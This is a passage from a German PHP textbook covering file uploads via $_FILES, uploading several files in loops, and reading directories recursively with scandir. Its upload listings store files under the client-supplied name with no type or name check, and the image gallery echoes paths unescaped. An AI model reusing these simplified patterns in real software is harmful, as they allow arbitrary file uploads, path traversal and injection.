                Zunächst müssen wir prüfen, ob das FILES-Array mehr als 0 Einträge hat: Sollte count($_FILES)>0 demnach ein true ergeben, so sind Informationen zu einem Upload-Feld vorhanden. Dies bedeutet aber noch nicht, dass auch wirklich Dateien hochgeladen wurden, sondern nur, dass die Möglichkeit dazu bestanden hat (oder dass mit anderen Worten ein Formular vorhanden war, das ein entsprechendes Eingabefeld beinhaltet hat).

                if(count($_FILES)>0) {
  //es wurde ein Formular abgeschickt, das ein Upload-Feld beinhaltet
  ...
} 


            

            	
                Danach müssen wir prüfen, ob während des Uploads auch kein Fehler aufgetreten ist. Hierzu werfen wir einen Blick auf den Eintrag namens error im FILES-Array. Dieser muss den Wert (Fehlercode) 0 beinhalten: error==0. Trifft dies zu, so ist sichergestellt, dass während des Uploads der Datei kein Fehler aufgetreten ist. Dies gilt im Übrigen auch, wenn gar keine Datei hochgeladen wurde, jedoch besitzt der Error-Eintrag in diesem Fall den Wert 4.

                if(count($_FILES)>0) {
  //es wurde ein Formular abgeschickt, das ein Upload-Feld beinhaltet
  if($_FILES["meinUpload"]["error"]==0) {
    //während des Uploads ist (für dieses Upload-Feld) kein Fehler 
    //aufgetreten
    ...
  }
  else {
    //während des Uploads ist (für dieses Upload-Feld) ein Fehler 
    //aufgetreten oder es wurde keine Datei zum Hochladen ausgewählt
    ...
  }
} 


                Listing 11.18    
            Sind keine Fehler beim Upload aufgetreten, kann mit der Verarbeitung der hochgeladenen Datei begonnen werden.

            

            	
                Sofern kein Fehler aufgetreten ist, muss nun die Datei aus dem temporären Verzeichnis geholt und ins Wunschverzeichnis verschoben werden. (Beachten Sie: Um die Datei ins Wunschverzeichnis zu verschieben, muss dieses bereits existieren – automatisch erzeugt wird es nicht.) Hierzu wird der Befehl move_uploaded_file("Pfad zur temporären Datei","Pfad zur Wunschdatei") verwendet.

            

        

        Der Befehl move_uploaded_file liefert als Ergebnis einen booleschen Wert zurück, der angibt, ob oder ob nicht die Datei erfolgreich aus dem temporären Verzeichnis in das Zielverzeichnis verschoben werden konnte.

        if(count($_FILES)>0) {
  //es wurde ein Formular abgeschickt, das ein Upload-Feld beinhaltet
  if($_FILES["meinUpload"]["error"]==0) {
    //während des Uploads ist (für dieses Upload-Feld) kein Fehler aufgetreten
    if(move_uploaded_file(
      $_FILES["meinUpload"]["tmp_name"],
      "uploads/" . $_FILES["meinUpload"]["name"]
    )) {
      //die hochgeladene Datei wurde erfolgreich gespeichert
      ...
    }
    else {
      //die hochgeladene Datei konnte nicht gespeichert werden
      ...
    }
    ...
  }
  else {
    //während des Uploads ist (für dieses Upload-Feld) ein Fehler 
    //aufgetreten oder es wurde keine Datei zum Hochladen ausgewählt
    ...
  }
}


        Listing 11.19    
            Die hochgeladene Datei wird in das Zielverzeichnis verschoben.

        Sollte eine Datei gleichen Namens im Wunschverzeichnis bereits existieren, so wird diese Datei überschrieben. Ein Ausweg, um bestehende Dateien nicht zu überschreiben, besteht darin, dass vorab überprüft wird, ob eine Datei dieses Namens bereits existiert. (Dies erfolgt über den Befehl file_exists, den Sie etwas später noch kennenlernen werden.) Sollte dies der Fall sein, so würde man entweder die bereits bestehende Datei oder die hochgeladene Datei umbenennen. (Dies erfolgt mit dem Befehl rename, den Sie ebenfalls etwas später kennenlernen werden.)

        
            [+]  Erfolgs- und Misserfolgsmeldungen

            Bedenken Sie bitte, dass Sie den User immer im Klaren darüber lassen müssen, ob etwas, das er initiiert hat, erfolgreich oder auch nicht erfolgreich abgeschlossen werden konnte. Auf gut Deutsch: Geben Sie entsprechende Meldungen auf dem Bildschirm des Users aus.

        

        Abbildung 11.30 stellt den Ablauf beim Upload einer Datei schematisch dar.

        
            [image: In Schritt 1 wird die Datei »testseiten.pdf« an den Server übermittelt, der sie in Schritt 2 in das temporäre Verzeichnis legt. In Schritt 3 wird die Datei mittels »move_uploaded_file« von dort abgeholt und in Schritt 4 im Zielverzeichnis abgelegt. Der Inhalt des »FILES«-Arrays ist rosa dargestellt.]

            Abbildung 11.30    
            In Schritt 1 wird die Datei »testseiten.pdf« an den Server übermittelt, der sie in Schritt 2 in das temporäre Verzeichnis legt. In Schritt 3 wird die Datei mittels »move_uploaded_file« von dort abgeholt und in Schritt 4 im Zielverzeichnis abgelegt. Der Inhalt des »FILES«-Arrays ist rosa dargestellt.

        
        Nicht nur eine, sondern gleich viele: Upload mehrerer Dateien über ein Upload-Feld

        Um mehrere Dateien hochzuladen, sind nur wenige Änderungen am Upload-Feld vonnöten:

        <input type="file" name="meinUpload[]" multiple> 


        Durch die Veränderung des Upload-Feldes haben wir im $_FILES-Array nun drei Dimensionen:

        
            	
                Dimension 1 ist nach wie vor der Name des Upload-Feldes (hier: meinUpload-Feld).

            

            	
                Dimension 2 enthält wie gewohnt je Upload-Feld die fünf Informationen name, tmp_name, size, error, type (sowie gegebenenfalls die sechste Information full_path).

            

            	
                Dimension 3 stellt für jeden Eintrag aus Dimension 2 die betreffenden Informationen zu einer jeden hochgeladenen Datei dar.

            

        

        Erweitern wir also unseren Formularcode von vorhin, und lassen wir uns wieder sämtliche Formulardaten nach der Auswahl mehrerer Dateien sowie nach dem Abschicken des Formulars anzeigen:

        <?php
ta($_FILES);
?>


        ...
<form method="post" enctype="multipart/form-data">
  <label>Bitte wählen Sie eine Datei aus:
    <input type="file" name="meinUpload[]" multiple required>
  </label>
  <input type="submit" value="hochladen">
</form>


        Listing 11.20    
            Ein Upload-Formular für mehrere Dateien

        Abbildung 11.31 zeigt das Ergebnis, das wir als Inhalt des FILES-Arrays erhalten.

        Um ein solches mehrdimensionales Array durchzuarbeiten, muss eine Schleife herhalten. Weil wir wissen, wie viele Dateien hochgeladen wurden (wir müssen lediglich einen der sechs Einträge name, tmp_name, error, size, type und full_path daraufhin überprüfen, wie viele Einträge das Unter-Array hat), verwenden wir hier eine for-Schleife, um für jede hochgeladene Datei die Überprüfung auf Fehler sowie danach das Verschieben ins Wunschverzeichnis vorzunehmen. Beachten Sie hierbei, dass für jeden Eintrag in der zweiten Dimension auf die dritte Dimension zugegriffen werden muss:

        $_FILES["meinUpload"]["..."][$i]
...
if(count($_FILES)>0) { 
  for($i=0; $i<count($_FILES["meinUpload"]["name"]); $i++) {
    if($_FILES["meinUpload"]["error"][$i]==0) {
      $ok = move_uploaded_file($_FILES["meinUpload"]["tmp_name"][$i],↩ "uploads/" . $_FILES["meinUpload"]["name"][$i]);
      if($ok==true) {
        $msg .= '<p class="success">Die Datei ' . $_FILES["meinUpload"]↩ 
["name"][$i] . ' wurde erfolgreich hochgeladen.</p>';
      }
      else {
        $msg .= '<p class="error">Die Datei ' . $_FILES["meinUpload"]↩ 
["name"][$i] . ' wurde leider nicht erfolgreich hochgeladen.</p>';
      }
    }
    else {
      $msg .= '<p class="error">Leider ist beim Upload ein Fehler ↩ aufgetreten.</p>';
    }
  }
}
...


        Listing 11.21    
            Die hochgeladenen Dateien werden nun in einer Schleife verarbeitet.

        
            [image: Im »FILES«-Array ist nun eine dritte Dimension hinzugekommen. So können beliebig viele Dateinamen gespeichert werden, wo vorher nur einer möglich war. Da ist es sehr naheliegend, dass aus dem einzelnen Eintrag nun ein Array aus Einträgen geworden ist.]

            Abbildung 11.31    
            Im »FILES«-Array ist nun eine dritte Dimension hinzugekommen. So können beliebig viele Dateinamen gespeichert werden, wo vorher nur einer möglich war. Da ist es sehr naheliegend, dass aus dem einzelnen Eintrag nun ein Array aus Einträgen geworden ist.

        
        Mithilfe der for-Schleife haben wir es möglich gemacht, dass derselbe Code, den wir bereits im Falle des Single Uploads verwendet hatten, weiterhin verwendbar wird. Es muss darauf geachtet werden, dass dieser Code nun für jede hochgeladene Datei durchgeführt wird (weshalb ja die Schleife benötigt wird). Damit durchlaufen wir also jeden Eintrag der dritten Dimension des $_FILES-Arrays. Aus diesem Grund muss an jeden Eintrag der zweiten Dimension (name, tmp_name, size, error, type) ein [$i] angehängt werden.

        Möchte man mehrere Upload-Felder in ein Formular packen und soll es möglich sein, dass über jedes dieser Upload-Felder beliebig viele Dateien hochgeladen werden, so benötigen wir zusätzlich zum bereits bestehenden Code noch eine weitere Schleife, die über alle Upload-Felder läuft. Weil die Namen der Felder in der Regel allgemein gewählt werden und wir diese Benennung auch möglicherweise gar nicht kennen, empfiehlt sich eine foreach-Schleife. Diese läuft – unabhängig von der Benennung der Felder – über all diese Felder und bezeichnet pro Schleifendurchlauf jedes dieser Felder mit immer demselben Namen:

        foreach($_FILES as $uploadfeld) {
  //Schleife über alle Upload-Felder des Formulars
}


        Es wird also die erste Dimension des $_FILES-Arrays durch die Variable $uploadfeld ersetzt. Im weiteren Code ersetzen wir nun also diese erste Dimension durch die zuvor angegebene Variable: Aus $_FILES["meinUploadfeld"] wird also nur noch $uploadfeld:

        if(count($_FILES)>0) {
  foreach($_FILES as $uploadfeld) {
    for($i=0; $i<count($uploadfeld["name"]); $i++) { 
      if($uploadfeld["error"][$i]==0) {
        //kein Fehler beim Upload (für DIESES Feld) aufgetreten
        $ok = move_uploaded_file($uploadfeld["tmp_name"][$i],"uploads/" . ↩ $uploadfeld["name"][$i]);
        if($ok==true) {
          $msg .= '<p class="success">Die Datei ' . $uploadfeld["name"][$i] . ↩ ' wurde erfolgreich hochgeladen.</p>';
        }
        else {
          $msg .= '<p class="error">Die Datei ' . $uploadfeld["name"][$i] . ↩ 
' wurde leider nicht erfolgreich hochgeladen.</p>';
        }
      }
      else {
        $msg .= '<p class="error">Leider ist beim Upload ein Fehler ↩ aufgetreten.</p>';
      }
    }
  }
}


        Listing 11.22    
            Die Königsklasse: mehrere Upload-Felder in einem Formular

        
            [»]  Mehrere Erfolgsmeldungen bei mehreren Dateien

            Sobald eine Schleife zum Abarbeiten der einzelnen hochgeladenen Dateien zum Einsatz kommt, ist es erforderlich, dass nicht eine Erfolgsmeldung für eine einzige hochgeladene Datei generiert wird, sondern für jede hochgeladene Datei separat. Aus diesem Grund wird die Variable $msg auch nicht pro Schleifendurchlauf überschrieben, sondern an sie wird die Erfolgs- oder Misserfolgsmeldung für die aktuell in der Schleife verarbeitete Datei drangehängt. Aus $msg = … wird also $msg.= ...

        

    


                    
                        
        11.14    Die Dateistruktur auf der Serverseite – unsere Ablage

        Die Dateistruktur auf der Serverseite (innerhalb des Root-Verzeichnisses) stellt aus Sicht der Programmierung die erste Möglichkeit dar, Informationen im Code (in diesem Fall in Form von Dateien oder Datei-Inhalten) dauerhaft auf dem Server abzulegen. Bis dato war uns das Speichern von Informationen lediglich in folgender Form möglich:

        
            	
                als Variablen: Diese sind mit erfolgtem Response vom Server wieder nicht mehr verfügbar.

            

            	
                als SESSION-Array: Die gespeicherten Informationen werden für die Dauer einer Session gespeichert.

            

        

        Der Upload von Dateien hat Ihnen den Einstieg in diese Thematik geebnet, und nun sollten Sie Ihr Wissen rund um Dateien und Verzeichnisse erweitern.

        Dementsprechend kümmern wir uns in diesem Abschnitt um folgende Punkte:

        
            	
                um das Arbeiten mit Verzeichnissen:

                
                    	
                        Das Auslesen von Verzeichnisinhalten stellt die wichtigste Aufgabe für uns dar. So wird es uns möglich, auf Dateien, Unterverzeichnisse sowie gegebenenfalls Verknüpfungen in einem beliebigen Verzeichnis zuzugreifen.

                    

                    	
                        Neben dem Auslesen von Verzeichnissen besteht auch oft der Bedarf, Verzeichnisse zu erzeugen (anzulegen) – beispielsweise, um für hochzuladende Dateien dynamisch ein Verzeichnis anzulegen.

                    

                    	
                        Sollten Verzeichnisse existieren, so müssen diese dann und wann auch gelöscht werden, weshalb wir einen Blick auf das Löschen von Verzeichnissen werfen werden.

                    

                    	
                        Wir befassen uns auch mit dem Verschieben und Umbenennen von Verzeichnissen, auch wenn das in der Praxis seltener vorkommt. In diesem Zusammenhang werden Sie feststellen, dass die beiden Tätigkeiten an sich ein und dasselbe sind (auch wenn Ihnen das zum jetzigen Zeitpunkt etwas überraschend erscheint).

                    

                

            

            	
                um das Arbeiten mit Dateien:

                
                    	
                        Auch hier ist man an den Standardtätigkeiten Löschen, Verschieben und Umbenennen interessiert.

                    

                    	
                        Das Erzeugen und Auslesen von Dateien ist jedoch weniger oft gefordert, da die meisten Dateien, mit denen Sie bei der Webentwicklung zu tun haben, bereits existieren. In manchen (seltenen) Fällen werden Dateien dynamisch erzeugt (z. B. im Fall von Konfigurations- oder Log-Files), aber das bildet wie gesagt eher die Ausnahme.

                    

                

            

        

        
            [Info]  Die Kunst und Bürde der Unvollständigkeit

            In diesem Buch liegt der Fokus darauf, wie eine übliche Programmiertätigkeit bei der Webentwicklung aussieht, und nicht darauf, was generell alles möglich ist. Sie werden sehen: Je mehr Sie sich in der Programmierwelt bewegen, desto selbstverständlicher wird es für Sie werden, auch auf eigene Faust nach neuen Funktionalitäten (Befehlen) einer Programmiersprache Ausschau zu halten.

        

        
            11.14.1    Den Inhalt von Verzeichnissen auslesen

            Das Auslesen von Verzeichnissen ist denkbar einfach. Dazu benötigen Sie zunächst einmal nur den Pfad zum auszulesenden Verzeichnis sowie einen geeigneten Befehl namens scandir. Dieser Befehl liest den Inhalt des Verzeichnisses in ein Array, wobei im Array nur die Namen (nicht die Pfade) der gefundenen Dateien, Verzeichnisse und Verknüpfungen gespeichert werden. (Die Namen spielen für uns jedoch eine sehr untergeordnete Rolle, und deshalb werde ich auf eine Betrachtung von Verknüpfungen großteils verzichten).

            $inhalt = scandir("URL/Pfad");


            Weil der Inhalt, der im Array gespeichert wird, lediglich die Namen der Dateien und Verzeichnisse darstellt, müssen Sie an dieser Stelle in der Regel noch prüfen, ob es sich beim jeweiligen Eintrag um eine Datei oder ein Verzeichnis handelt:

            
                	
                    Mit is_dir("URL/Pfad") können wir prüfen, ob es sich bei dem angegebenen Pfad bzw. der angegebenen URL um ein Verzeichnis handelt. is_dir liefert ein true, sollte es sich hierbei um ein Verzeichnis handeln; ansonsten liefert der Befehl ein false.

                

                	
                    Mit is_file("URL/Pfad") prüfen wir den Pfad bzw. die URL auf eine Datei.

                

                	
                    Schlussendlich prüfen wir gegebenenfalls mit is_link("URL/Pfad") auf eine Verknüpfung.

                

            

            
                [ ! ]  Pfadnamen vs. Datei- oder Verzeichnisnamen

                Alle genannten Befehle benötigen den (absoluten oder relativen) Pfad bzw. eine URL, um eine Überprüfung vornehmen zu können – ein Datei-, Verzeichnis- oder Verknüpfungsname allein ist nicht ausreichend.

            

            Somit ergibt sich für das Auslesen eines Verzeichnisses folgender Code, in dem zunächst mithilfe einer Variablen $auszulesendesVZ der Pfad zum auszulesenden Verzeichnis abgelegt wird. Danach erfolgt das tatsächliche Auslesen über den scandir-Befehl.

            $auszulesendesVZ = "./"; //Pfad zum auszulesenden Verzeichnis
$inhalt = scandir($auszulesendesVZ); //liest den Inhalt des gegebenen 
//Verzeichnisses in das Array $inhalt


            Lesen wir z. B. den Inhalt eines beliebigen Verzeichnisses in ein Array ein und geben wir den Inhalt des Arrays mithilfe unserer Testausgabe-Funktion ta auf dem Bildschirm aus, so könnte dies wie in Abbildung 11.32 aussehen.

            Aus Abbildung 11.32 lassen sich folgende Erkenntnisse ziehen:

            
                	
                    Wir finden zwei Einträge namens . und .., mit denen wir im ersten Moment noch gar nichts anfangen können.

                

                	
                    Ein erster Blick auf die Ausgabe der jeweiligen Namen lässt zwar erahnen, was davon Dateien (typischerweise sind sie mit einer Dateiendung versehen), Verzeichnisse (sie besitzen keine Dateiendung) und Verknüpfungen (Wie können wir diese erkennen?) sind – sicher können wir jedoch nicht sein.

                

                	
                    Einen Zugriff auf die jeweiligen Dateien, Verzeichnisse oder Verknüpfungen haben wir erst, wenn wir den vollständigen Pfad angeben.

                

            

            
                [image: Die Ausgabe des Inhalts eines beliebigen Verzeichnisses zeigt die darin befindlichen Dateien, Verzeichnisse und Verknüpfungen in Form der jeweiligen Namen, nicht jedoch die Pfade.]

                Abbildung 11.32    
            Die Ausgabe des Inhalts eines beliebigen Verzeichnisses zeigt die darin befindlichen Dateien, Verzeichnisse und Verknüpfungen in Form der jeweiligen Namen, nicht jedoch die Pfade.

            
            Klären wir also auf:

            
                	
                    Bei dem Eintrag . handelt es sich um den Verweis auf das aktuelle Verzeichnis, in dem sich diejenige Datei befindet, in der der Code zum Auslesen des Verzeichnisses geschrieben steht. Der Eintrag .. wiederum verweist auf das diesem Verzeichnis übergeordnete Verzeichnis (also auf das Elternverzeichnis).

                

                	
                    Allein durch einen Blick auf die Namen der Einträge im Array können wir keinerlei Schlüsse ziehen, ob es sich dabei um Dateien, Verzeichnisse oder Verknüpfungen handelt. Beispielsweise könnte eine Datei ohne Dateiendung auskommen, dafür könnte aber ein Verzeichnis etwa test1.tmp heißen. Wir müssen also mithilfe von is_dir, is_file und is_link prüfen, um welche der drei Möglichkeiten es sich handelt.

                

                	
                    Die Pfade zu den jeweiligen Einträgen ergeben sich aus dem Pfad, dessen Inhalt wir gerade ausgelesen haben (beispielsweise beinhaltet $auszulsendesVZ in diesem Beispiel den Pfad "../../medien/": $auszulesendesVZ = "../../medien/";) plus dem Namen der Datei, des Verzeichnisses oder der Verknüpfung.

                

            

            Erweitern wir also unser Beispiel dahingehend, dass wir sämtliche Einträge des Arrays $inhalt in einer Schleife durchgehen und dort nur Dateien, Verzeichnisse und Verknüpfungen betrachten, die nicht . oder .. heißen, und in weiterer Folge zwischen Dateien und Verzeichnissen unterscheiden. Dann erhalten wir den folgenden Code:

            $auszulesendesVZ = "./";
$inhalt = scandir($auszulesendesVZ);
foreach($inhalt as $eintrag) {
  if($eintrag!="." && $eintrag!="..") {
    $pfad = $auszulesendesVZ . $eintrag;
    if(is_dir($pfad)) { ta("dir: ".$eintrag); }
    elseif(is_file($pfad)) { ta("file: ".$eintrag); }
    elseif(is_link($pfad)) { ta("link: ".$eintrag); }
  }
}


            Listing 11.23    
            Ein erstes Listing zum Auslesen von Verzeichnissen auf der Serverseite

            
                [»]  elseif anstatt else if

                Ich habe in diesem Code-Fragment auf eine spezielle Schreibweise der if-Anweisung zurückgegriffen, die eine halbwegs übersichtliche Darstellung einer Unterscheidung mehrerer möglicher Fälle erlaubt:

                if(...) { ... } elseif(...) { ... } elseif(...) { ... } ...

                Sie ist vergleichbar mit der Fallunterscheidung switch, die Sie schon kennengelernt haben.

            

            Typischerweise wird der obige Code nicht direkt ausgeführt, sondern in eine Funktion verpackt, um den Code wiederverwenden zu können. Diese Funktion kann alsdann mit einem beliebigen Übergabewert aufgerufen werden:

            function leseVZ(string $auszulesendesVZ):void {
  $inhalt = scandir($auszulesendesVZ);
  foreach($inhalt as $eintrag) {
    if($eintrag!="." && $eintrag!="..") {
      $pfad = $auszulesendesVZ . $eintrag;
      if(is_dir($pfad)) { ta("dir: ".$eintrag); }
      elseif(is_file($pfad)) { ta("file: ".$eintrag); }
      elseif(is_link($pfad)) { ta("link: ".$eintrag); }
    }
  }
}
...
leseVZ("./");


            Listing 11.24    
            Derselbe Code wie zuvor, nur nun in eine Funktion verpackt

            Mithilfe des Übergabewertes ./ beim Aufruf der Funktion leseVZ (leseVZ("./");) wird der (String-)Wert ./ in die Übergabevariable $auszulesendesVZ der Funktion leseVZ geschrieben. Der Rest ist wie gehabt.

            
                Eine Rekursion beim Auslesen von Verzeichnissen

                Ein weiteres Problem am obigen Code ist, dass gefundene (Unter-)Verzeichnisse nicht mehr weiter ausgelesen werden – in der Regel ist dies jedoch erwünscht. Um gefundene Unterverzeichnisse auslesen zu können, müsste man die bestehende Funktion erneut (mit geändertem Übergabewert) aufrufen. Eine solche Art und Weise eines Funktionsaufrufs nennt man eine Rekursion.

                Betrachten wir zunächst folgendes Beispiel: Als Erstes wird die Funktion a mit dem Übergabewert "abc/" aufgerufen. Innerhalb der Funktion wird dieselbe Funktion nun erneut aufgerufen, und es wird ihr der bestehende Inhalt von $b übergeben, verbunden mit dem Text "xxx/". Bei diesem Funktionsaufruf erhält die Übergabevariable $b also den Wert "abc/xxx/". Und so geht das immer weiter ... "abc/xxx/xxx/", dann "abc/xxx/xxx/xxx/", dann "abc/xxx/xxx/xxx/xxx/" usw. Beachten Sie bitte, dass diese Funktion endlos läuft, da sie sich immer wieder aufruft – aus diesem Grund sollten Sie das Beispiel zwar verstehen, jedoch nicht austesten (es sei denn, es stört Sie nicht, dass Ihr Server abstürzt).

                function a(string $b):void {
  ...
  a($b . "xxx/"); //Die Funktion ruft sich selbst mit einem geänderten Wert auf
  ...
}
a("abc/"); //ruft die Funktion a mit dem Übergabewert "abc/" auf


                Zum Verständnis der Rekursion ist es wichtig, dass Sie Folgendes erkennen: Sobald sich die Funktion selbst aufruft, pausiert der ursprüngliche Aufruf so lange, bis der aktuelle Aufruf beendet ist. Erst dann arbeitet der ursprüngliche Aufruf wieder weiter.

                Prinzipiell könnte jedes Schleifenkonstrukt als Rekursion dargestellt werden. Anwendungen von Rekursionen sind:

                
                    	
                        das Auslesen von Verzeichnisstrukturen beliebiger Tiefe

                    

                    	
                        die Darstellung von Foreneinträgen, in denen Antworten auf Antworten auf Antworten usw. möglich sind

                    

                    	
                        Navigationen auf einer Website, bei denen man es mit Haupt-, Unter-, Unter-Unter-Navigationen usw. zu tun hat

                    

                

                Technisch gesprochen, sind Rekursionen die Möglichkeit, sogenannte Bäume auszulesen. Ein Baum besitzt:

                
                    	
                        ein Wurzelelement, das den Ausgangspunkt des Baumes darstellt

                    

                    	
                        beliebige Verästelungen, die untereinander zusammenhängen

                    

                    	
                        Blätter am Ende der Äste

                    

                

                Betrachten wir die Verzeichnisstruktur in Abbildung 11.33. Würden wir diese Struktur in Form eines Baumes auszeichnen, so ergibt sich Abbildung 11.34.

                
                    [image: Jede (beliebige) Verzeichnisstruktur kann als Baum dargestellt werden.]

                    Abbildung 11.33    
            Jede (beliebige) Verzeichnisstruktur kann als Baum dargestellt werden.

                
                Die Baumdarstellung zeigt auch gleich die Wege, die eine Rekursion gehen würde: Zunächst wird der Inhalt von beispielvz ausgelesen, dann der Inhalt von a, dann d, dann e, dann f, dann b, dann g, dann h, dann i und schlussendlich c.

                
                    [image: Das Verzeichnis »beispielvz« (Wurzel) mit allen darin befindlichen Verzeichnissen, als Baum dargestellt]

                    Abbildung 11.34    
            Das Verzeichnis »beispielvz« (Wurzel) mit allen darin befindlichen Verzeichnissen, als Baum dargestellt

                
                Wenn wir unser Wissen nun in einen Code umsetzen, dann sieht das Ergebnis wie folgt aus:

                function leseVZ(string $auszulesendesVZ):void {
  $inhalt = scandir($auszulesendesVZ);
  foreach($inhalt as $eintrag) {
    if($eintrag!="." && $eintrag!="..") {
      $pfad = $auszulesendesVZ . $eintrag;
      if(is_dir($pfad)) {
        ta("dir: ".$eintrag);
        // ---- Rekursion: ----
        leseVZ($auszulesendesVZ . $eintrag . "/");
        // --------------------
      }
      elseif(is_file($pfad)) { ta("file: ".$eintrag); }
      elseif(is_link($pfad)) { ta("link: ".$eintrag); }
    }
  }
}
leseVZ("beispielvz/");


                Listing 11.25    
            Eine Rekursion zum Auslesen eines Verzeichnisses mit allen Unterverzeichnissen

                Die einzige Änderung betrifft die Zeile leseVZ($auszulesendesVZ . $eintrag . "/");. Das Ergebnis mit den Testausgaben ergibt die Darstellung in Abbildung 11.35.

                
                    [image: Rekursives Auslesen von Verzeichnissen]

                    Abbildung 11.35    
            Rekursives Auslesen von Verzeichnissen

                
            
            
                Einschub: Weitere nützliche Befehle

                Bevor wir uns nun ein konkretes Beispiel ansehen, möchte ich noch kurz auf ein paar nützliche Befehle eingehen, die Sie für das weitere Verständnis der Dateistruktur auf der Serverseite gut brauchen können.

                
                    	
                        file_exists("URL/Pfad"): Prüft, ob ein Pfad (zu einer Datei, einem Verzeichnis oder einer Verlinkung) existiert, und liefert entsprechend ein true bzw. false zurück.

                    

                    	
                        pathinfo("URL/Pfad"): Zerlegt den Pfad in einige wichtige Informationen und liefert diese als assoziatives Array zurück:

                        $arr = pathinfo("abc/def/x.jpg"); 


                        Dabei sind:

                        
                            	
                                $arr["dirname"]: der Pfad bis zum zu prüfenden Element → abc/def

                            

                            	
                                $arr["basename"]: der gesamte Name des zu prüfenden Elements → x.jpg

                            

                            	
                                $arr["filename"]: der Name des zu prüfenden Elements (ohne Dateiendung) → x

                            

                            	
                                $arr["extension"]: die Dateiendung des zu prüfenden Elements → jpg

                            

                        

                    

                    	
                        mime_content_type("URL/Pfad"): Liefert den MIME Type und somit den tatsächlichen Datentyp einer Datei zurück. (Beachten Sie, dass die Dateiendung (Suffix) nur bedingt eine Information zum Dateityp liefert, da diese Endung jederzeit vom User überschrieben bzw. manipuliert werden kann.)

                    

                

                
                    [zB]  Alle Bilder ab einem definierten Unterverzeichnis darstellen

                    Es ist so weit: Sehen wir uns ein konkretes Beispiel an! Unser Ziel ist es, in einem beliebigen Verzeichnis samt seinen Unterverzeichnissen alle Bilder aufzuspüren, die sich darin befinden. Diese sollen dann als quadratische Thumbnails auf dem Bildschirm ausgegeben werden.

                    <?php
$whitelist = ["image/jpeg","image/png","image/gif","image/webp",
"image/avif","image/svg"];
function sucheBilder(string $vz):void {
  global $whitelist;
  $inhalt = scandir($vz);
  foreach($inhalt as $eintrag) {
    if($eintrag!="." && $eintrag!="..") {
      if(is_dir($vz . $eintrag)) { sucheBilder($vz . $eintrag . "/"); }
      elseif(is_file($vz . $eintrag)) {
        $mime = mime_content_type($vz . $eintrag);
        if(in_array($mime,$whitelist)) {
          echo('
            <figure class="thumb">
              <img src="' . $vz  .$eintrag . '">
              <figcaption>' . $vz  .$eintrag . '</figcaption>
            </figure>
          ');
        }
      }
    }
  }
}
?>
...
<body>
  <?php sucheBilder("beispielvz/"); ?>
</body>
...


                    Listing 11.26    
            Ein Beispiel für eine Bildsuche und -ausgabe

                    Sehen wir uns die wesentlichen Teile des Codes etwas genauer an:

                    
                        	
                            Im Array $whitelist (eine Whitelist stellt üblicherweise das Erlaubte, eine Blacklist das nicht Erlaubte dar) werden sämtliche erlaubten Bilddatentypen aufgelistet, die wir im Internet verwenden können. Dieses Array muss innerhalb der Funktion sucheBilder (global) verfügbar gemacht werden, wozu der Befehl global dient.

                        

                        	
                            Die Funktion in_array($needle,$haystack) sucht ein Array ($haystack) nach einem bestimmten Eintrag ($needle) ab und gibt ein true zurück, sollte sich der Eintrag im Array befinden; ansonsten wird false zurückgegeben. Wir nutzen diese Funktion, um zu ermitteln, ob der Typ der soeben gefundenen Datei von einem der erlaubten Datentypen ist.

                        

                        	
                            Der zuvor angesprochene Datentyp einer Datei wird mittels mime_content_type("URL/Pfad") ermittelt. Er liefert, wie bereits auf Seite 870 erwähnt, den MIME Type einer Datei zurück.

                        

                    

                

                
                    [image: Die Bildsuche liefert doch so manche Bilder, die wir durch manuelles Suchen vielleicht nur schwer gefunden hätten. Die dargestellten Bildpfade verdeutlichen, dass die Rekursion tatsächlich auch in den Unterverzeichnissen gesucht hat.]

                    Abbildung 11.36    
            Die Bildsuche liefert doch so manche Bilder, die wir durch manuelles Suchen vielleicht nur schwer gefunden hätten. Die dargestellten Bildpfade verdeutlichen, dass die Rekursion tatsächlich auch in den Unterverzeichnissen gesucht hat.

                
            
        
        
            11.14.2    Neue Verzeichnisse anlegen

            Um ein Verzeichnis anlegen zu können, benötigen wir den Pfad – ausgehend von der Datei, in der sich der Befehl befindet – zu diesem »Wunschverzeichnis«. Der zugehörige Befehl trägt den Namen mkdir (mkdir steht für »Make Directory«). Dieser Befehl würde dann auch wie geheißen tun, würden wir ihn entsprechend einsetzen:

            mkdir("Pfad zum Wunschverzeichnis");.

            Jedoch ist das nur die halbe Wahrheit, denn mit dieser einen Angabe des Pfades ist es in der Praxis nicht getan. Eine sehr wesentliche und bedeutsame Angabe fehlt uns nämlich noch: Wir müssen festlegen, wer alles Zugriff auf dieses neue Verzeichnis erhalten soll. Und schon sind Sie in der Situation, sich über ein sehr wichtiges Thema Gedanken machen zu müssen: über das Thema der Berechtigungen (auf Dateien und Verzeichnisse).

            Haben Sie sich mit diesem – ohne Zweifel wichtigen – Thema dann einmal auseinandergesetzt, so fehlt noch eine dritte Angabe, die aber nicht immer zum Tragen kommt: die Frage, ob Verzeichnisse rekursiv angelegt werden sollen. Dies benötigen Sie immer dann, wenn Sie Verzeichnisse in einem Verzeichnis anlegen möchten, das selbst noch gar nicht existiert. Mehr dazu folgt in Kürze.

            Ganz allgemein sieht der mkdir-Befehl wie folgt aus:

            mkdir("Pfad zum Wunschverzeichnis",Verzeichnisrechte,rekursiv?);


            Im Erfolgsfall liefert der Befehl ein true, im Fehlerfall ein false zurück. Somit sind also drei Angaben vonnöten:

            
                	
                    der Pfad zum anzulegenden Verzeichnis in Form eines Strings

                

                	
                    die gewünschten Verzeichnisrechte als ein vierstelliger »oktaler« Wert (siehe folgende Ausführungen)

                

                	
                    die Angabe, ob benötigte Verzeichnisse, die für das Anlegen des Wunschverzeichnisses auch noch benötigt werden, rekursiv mit angelegt werden sollen

                

            

            Betrachten wir kurz dieses Beispiel, um den rekursiv-Parameter besser zu verstehen. Angenommen, das Verzeichnis mit diesem Pfad ist anzulegen: ../abc/def/ghi/jkl. In diesem Fall identifizieren wir die einzelnen Teile des Pfades wie folgt:

            
                	
                    Das anzulegende Verzeichnis ist jkl.

                

                	
                    Die noch benötigten Verzeichnisse (die jedoch noch nicht existieren) ergeben den Pfad ../abc/def/ghi. Um unser Wunschverzeichnis anlegen zu können, muss dieser Verzeichnispfad jedoch bereits existieren.

                

            

            Nehmen wir an, dass der Verzeichnispfad ../abc/def/ghi nicht existiert. Dies würde natürlich bedeuten, dass auch unser Wunschverzeichnis nicht angelegt werden kann. Ansonsten wäre das ja in etwa so, als würde man den zweiten Stock eines Hauses bauen wollen, obwohl gerade einmal das Erdgeschoss existiert. Nun tritt die Macht des rekursiv-Parameters in Kraft:

            
                	
